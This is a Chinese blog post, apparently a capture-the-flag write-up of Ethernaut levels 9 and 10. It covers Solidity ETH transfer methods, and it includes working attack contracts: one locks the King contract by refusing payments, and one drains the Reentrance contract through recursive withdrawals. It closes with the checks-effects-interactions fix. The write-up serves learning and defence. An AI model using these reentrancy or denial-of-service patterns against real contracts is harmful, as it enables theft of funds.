Ethernaut-刷题小记(五)

第九关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
address king;
uint256 public prize;
address public owner;

constructor() payable{
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= price || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

这个游戏逻辑也很简单,只要你出的钱比上一个人出的钱多你就是king

通关条件是要让你永久变成king

那我们就让后来者全都不能转账就行了 ———->>>>>那么我们怎么让后来者不能转账呢?

看transfer函数的极限?还是让外部调用出点问题

了解一下转账的操作

在 Solidity 中,从一个账户向另一个账户发送 ETH(以太币)的主要方法有三种:

  1. transfer 方法
  2. send 方法
  3. call 方法(推荐)

1. transfer 方法

transfer 是 Solidity 中最简单的转账方式,但由于其 2300 gas 限制,在某些情况下可能会失败。

语法:

1
recipient.transfer(amount);
  • recipient:是一个 address payable 类型的变量,表示接收 ETH 的地址。
  • amount:单位是 wei(最小单位),表示发送的 ETH 数量。

示例:

1
2
3
4
5
6
7
pragma solidity ^0.8.0;

contract TransferExample {
function sendViaTransfer(address payable recipient) public payable {
recipient.transfer(msg.value);
}
}

特点:

  • 失败时会自动回滚交易(revert)。
  • Gas 费用被限制为 2300,不能用于复杂的合约交互。

2. send 方法

send 方法和 transfer 类似,但不同的是:

  • send 方法返回 bool 类型的值,表示交易是否成功。
  • 如果失败,不会自动 revert,需要手动处理。

语法:

1
2
bool success = recipient.send(amount);
require(success, "Transfer failed.");

示例:

1
2
3
4
5
6
7
8
pragma solidity ^0.8.0;

contract SendExample {
function sendViaSend(address payable recipient) public payable {
bool success = recipient.send(msg.value);
require(success, "Send failed.");
}
}

特点:

  • 失败时不会自动回滚,需要手动检查返回值并处理错误。
  • 也受到 2300 gas 限制,适用于简单的交易。

3. call 方法(推荐)

call 方法是目前推荐的发送 ETH 的方式,因为它更灵活,且没有 2300 gas 限制。

语法:

1
2
(bool success, ) = recipient.call{value: amount}("");
require(success, "Transfer failed.");

示例:

1
2
3
4
5
6
7
8
pragma solidity ^0.8.0;

contract CallExample {
function sendViaCall(address payable recipient) public payable {
(bool success, ) = recipient.call{value: msg.value}("");
require(success, "Call failed.");
}
}

特点:

  • 推荐使用,因为没有 2300 gas 限制,可以支持合约交互。
  • 需要手动检查返回值,失败时不会自动回滚。

那我们写一个合约让后来者向我转账,我不要不就行了

ok,直接上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Level9 {
function _king() external view returns (address);
}

contract Attack {
address public kingContract;

constructor(address _kingContract) {
kingContract = _kingContract;
}

// 攻击函数:成为 king
function attack() public payable {
// 向 King 合约发送 ETH,调用其 receive(),使攻击合约成为 king
(bool success, ) = kingContract.call{value: msg.value}("");
require(success, "Attack failed");
}

// 拒绝接收 ETH,从而导致主合约中的 transfer 回滚,占有king
receive() external payable {
revert("I refuse to accept ETH");
}
}

第十关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "@openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
using SafeMath for uint256;

mapping(address => uint256) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}

function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

这关就是重头戏——重入漏洞
分析一下合约代码

1
mapping(address => uint256) public balances;

做了一个捐款账单映射

1
2
3
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

记录账单映射

1
2
3
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}

查询捐款数值

1
2
3
4
5
6
7
8
9
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

关键代码,取出自己的那份钱,这里的逻辑是先交易后记录,会引发重入漏洞

攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint256 _amount) external;
function balances(address _who) external view returns (uint256);
}

contract Attack {
IReentrance public target;
address public owner;

constructor(address _target) public {
target = IReentrance(_target); // 设置攻击目标
owner = msg.sender;
}

// 捐款给自己,成为目标合约的受益人
function donateToSelf() external payable {
require(msg.value > 0, "Need ETH to donate");
target.donate{value: msg.value}(address(this));
}

// 发起攻击
function attack() external {
require(msg.sender == owner, "Only owner can attack");
target.withdraw(1 ether); // 初始调用,触发重入
}

// 递归触发withdraw直到目标合约没钱
receive() external payable {
uint256 remaining = address(target).balance;
if (remaining >= 1 ether) {
target.withdraw(1 ether);
} else if (remaining > 0) {
target.withdraw(remaining); // 提光最后一点
}
}

// 提取获得的资金
function collect() external {
require(msg.sender == owner, "Not owner");
msg.sender.transfer(address(this).balance);
}
}

攻击流程如下

image-20250414201854665

需要注意的是,fallback 函数需要限制重入的次数,否则会因为无限地循环调用,导致 gas 不足。我在攻击的过程中并没有一次就全部拿走,也许是因为这个原因。

修复

为了避免重入,你可以使用检查-生效-交互模式,如下所示:

open in Remix

1
2
3
4
5
6
7
8
9
10
11
12
13
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.6.0 <0.9.0;

contract Fund {
/// @dev 合约的以太份额映射。
mapping(address => uint) shares;
/// 提取你的份额。
function withdraw() public {
uint share = shares[msg.sender];
shares[msg.sender] = 0;
payable(msg.sender).transfer(share);
}
}

检查-生效-交互模式确保合约中的所有代码路径在修改合约状态之前完成对提供参数的所有必要检查(检查);只有在此之后才对状态进行任何更改(效果);它可以在所有计划的状态更改已写入存储后(交互)调用其他合约中的函数。这是一种常见的防止重入攻击的万无一失的方法,其中外部调用的恶意合约可以重复消费一个配额,重复提取一个余额等,通过使用逻辑在原始合约完成其交易之前回调。

请注意,重入不仅是以太转移的结果,也是对另一个合约的任何函数调用的结果。 此外,你还必须考虑多合约情况。被调用的合约可能会修改你依赖的另一个合约的状态。

说白了就是先记录后交易

shares[msg.sender] = 0;
这一步是关键的防重入措施:在发送 ETH 之前,先把余额归零。这叫做 “Checks-Effects-Interactions” 模式,是安全合约的推荐写法。如果你先转账、后归零,那攻击者可以在 transfer() 回调时重入 withdraw() 再提一次钱(重入攻击)。


Ethernaut-刷题小记(五)
https://eznp.github.io/2025/04/14/Ethernaut-刷题小记(五)/
作者
Zer0
发布于
2025年4月14日
许可协议